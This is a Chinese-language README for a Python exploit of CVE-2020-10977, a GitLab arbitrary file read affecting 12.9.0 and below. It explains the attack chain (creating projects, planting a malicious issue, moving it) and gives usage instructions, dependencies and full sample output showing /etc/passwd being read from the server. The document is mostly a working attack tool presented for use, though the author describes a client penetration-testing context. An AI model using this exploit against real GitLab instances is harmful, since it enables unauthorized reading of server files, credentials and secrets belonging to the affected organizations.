目标： 12.9.0 及以下版本
测试版本： GitLab 12.8.1
在最近的一次客户项目中，我在目标上发现了一个 GitLab 实例。我在 Exploit-DB 上找到了一个 PoC，但它使用的是 LDAP 认证，而在此情况下 LDAP 禁用了，所以我编写了这个 Python 脚本，它可以使用 Web 界面进行认证。与原始 PoC 类似，它将创建两个项目、在一个项目中创建一个带有恶意 payload 的 issue，然后将该 issue 从一个项目移动到另一个项目，并自动读取文件内容。
我添加了一些功能，例如脚本会询问你要读取的绝对路径，输出内容后会再次询问另一个路径，并在退出时进行清理。当你使用 CTRL+C 退出脚本时，两个项目都会自动删除。
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : http://localhost
[+] Username : twh
[+] Password : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd
> /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!
pip3 install requests bs4
在目标 GitLab 上注册一个账号，并在脚本中使用相同的凭据。
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password
positional arguments:
url Target URL with http(s)://
username GitLab Username
password GitLab Password
optional arguments:
-h, --help show this help message and exit
vakzz 发现 GitLab 中的这个漏洞
KouroshRZ 为该漏洞创建 PoC